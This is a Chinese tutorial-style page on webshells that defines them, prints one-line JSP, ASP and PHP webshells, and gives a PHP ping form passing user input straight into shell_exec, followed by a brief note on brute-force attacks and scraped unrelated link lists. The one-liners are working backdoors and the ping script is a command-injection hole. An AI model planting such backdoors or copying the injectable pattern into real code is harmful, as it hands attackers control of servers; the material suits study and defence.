webshell

概念

webshell是以asp、php、jsp等网页文件形式存在的一种命令执行环境,也称其为一种网页后门。一般说来,当Hacker入侵一个网站后,会把这些asp、php木马的后门文件放在该网站的web目录中,和正常的网页文件混杂,其命名可能和正常的文件命名很类似,让人无法第一眼通过文件名判断其为后门文件。然后呢,他就可以利用web请求的方式,用asp或者php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等一系列操作。

分类

a.根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它)
b.根据脚本名称分类:jsp、asp、aspx、php

jsp的简单的webshell:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

asp的简单的webshell:

success!!!!<%eval request("cmd")%>

php的简单的webshell:

<?php$a=exec($_GET["input"]);echo $a;
?>

用PHP调用cmd命令


<form action="#" method="GET"><input type="text" name="ip" /><input type="submit" />
</form>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<?phpif( isset($_GET['ip'])){$target = $_GET['ip'];if(stristr(php_uname('s'),'Windows NT')){$cmd = shell_exec('ping'. $target);}else{$cmd = shell_exec('ping -c 3'. $target);}$html .="<pre>{$cmd}</pre>";echo $html;}
?>

解析思路

1、脚本接收到的GET或POST参数IP的值存放到变量$ target 中;
2、做了一个简单的系统判断后,$ target被带入到shell_exec()中执行运算;
3、运算时拼接一个ping字符串,对$ target 执行ping命令,然后结果保存在$ cmd 中;
4、$ cmd 再存在新的$ html 中,显示在页面;

暴力破解

“暴力破解”是一种攻击手段,在web 攻击中,一般会使用这种攻击手段对应用系统的认证信息进行获取。其过程就是使用大量的认证信息在认证接口进行尝试登陆,直到得到正确的结果。

PHP webshell、暴力破解相关推荐

  1. webshell使用方法-防止DDOS脚本-暴力破解-自动劫持root密码并转发密码到邮箱

    内容: 24.1 webshell使用方法 24.2 使用DDoS deflate 解决服务器被DDOS攻击的问题 24.3 暴力破解sshd服务 24.4 自动劫持root密码并转发密码到邮箱 实验 ...

  2. 安全测试(三) 服务器安全 渗透测试 常规服务器安全漏洞 高危端口暴露、弱口令密码、暴力破解、服务器提权、Mysql数据库提权等 浅谈《社会工程学》实战案例

    文章目录 一.前言 二.服务器安全 高危端口 2.1 端口号(Port number) 2.2 常见端口后及其用途表 2.3 端口号 扫描工具介绍 2.4 端口号 端口说明 攻击技巧 2.5 安全警示 ...

  3. ctf训练 web安全暴力破解

    此次的方法叫做穷举法,也成为枚举法.就是把可能问题一一列举出来. 第一步同样是信息探测(包括敏感信息的探测) 信息探测 这次只说一下信息探测的以往的语法: 扫描主机服务信息以及服务版本 nmap -s ...

  4. ctf训练 web安全暴力破解

    ctf训练 web安全暴力破解 暴力破解漏洞介绍 穷举法的基本思想是根据题目的部分条件确定答案的大致范围,并在此范围内对所有可能的情况逐一验证,直到全部情况验证完毕.若某个情况验证符合题目的全部条件, ...

  5. web渗透—暴力破解

    二.暴力破解(信息收集确定端口打开)     2.1 MySql数据库爆破         2.1.1 Kali-Hydra         #hydra IP地址 -l 单个账户名 -P 字典路径 ...

  6. web后台登录口令暴力破解及防御

    在实际网络安全评估测试中,前台是给用户使用,后台是给网站管理维护人员使用,前台功能相对简单,后台功能相对复杂,可能保护媒体文件上传,数据库管理等.前台用户可以自由注册,而后台是网站管理或者维护人员设定 ...

  7. Nmap.sqlmap.暴力破解

    1. Nmap的基本 Nmap + ip 6+ ip Nmap -A 开启操作系统识别和版本识别功能 – T(0-6档)  设置扫描的速度  一般设置T4    过快容易被发现 -v 显示信息的级别, ...

  8. 暴力破解攻击工具汇总——字典很关键,肉鸡也关键

    lasercrack是一款爆力破解工具,ruby写的,现如今市面上常见的暴力工具如hydra,medusa都有着不错的破解效率. 破解RDP的软件也有很多,比如ncrack和Fast RDP Brut ...

  9. WEB安全实战(带靶场)–暴力破解

    WEB安全实战(带靶场)–暴力破解 靶场一:DVWA中的暴力破解 靶场二:靶场实验 暴力破解 暴力破解百度云链接(失效请在评论区通知) 链接:https://pan.baidu.com/s/1FcNF ...

最新文章

  1. win10很多软件显示模糊_win10安装软件出现乱码怎么办 win10新装软件显示乱码的解决方法_windows10_Windows系列_操作系统...
  2. layui横向时间线_炒股一生只买一种股票:股价K线形成这样后,必然有一波拉升...
  3. Elasticsearch之需要注意的问题(es和jdk版本)
  4. Java课程设计---项目数据库设计(含实体类)
  5. Spring Data JPA 从入门到精通~Naming命名策略详解及其实践
  6. mysql 主键倒序查询速度慢_一亿条数据order by主键降序速度很慢
  7. php td生成excel 斜杠表头_邮件合并功能都不掌握,还怎么成为Excel达人?
  8. MySQL sleep函数使用详解
  9. 简历v岗位实时智能匹配算法
  10. 【动态规划】P1220:区间dp:关路灯
  11. python rsi_使用python与rsi进行算法交易
  12. docx转换成txt linux,如何将doc / docx文件转换为markdown或结构化文本?
  13. Matlab曲线平滑
  14. 黑盒测试与白盒测试的区别
  15. 堪萨斯州立大学计算机专业,全美顶尖大学:堪萨斯州立大学
  16. Pi滤波中磁珠和电感的使用注意事项
  17. java如何等待异步结果_你如何等待所有异步调用在Java中完成?
  18. 测试治具、夹具、托盘
  19. 新装linux系统环境配置
  20. CH340国产USB转串口芯片替代CP2102对比CH340C与CH340G

热门文章

  1. mac book pro 安装网络准入后经常死机
  2. 3、按键扫描检测处理
  3. 快手短视频直播间怎么提高人气热度,直播间冷启动是什么?
  4. 智能新时代-不一样的人机交互体验
  5. 【数据库】(三)-- mysql 数据库操作应用
  6. Windows账户设置指南
  7. 无法加载文件C:\Users\TANG\AppData\Roaming\npm\nrm.ps1,因为在此系统上禁止运行脚本
  8. 透明图片怎么发给别人_如何在网上 1 分钟就搜到高清优质图片?这 3 个搜图网站一定要收藏好...
  9. 配置SMTP发信认证
  10. 现代计算机体系结构发明人,cpu的发明人是谁啊?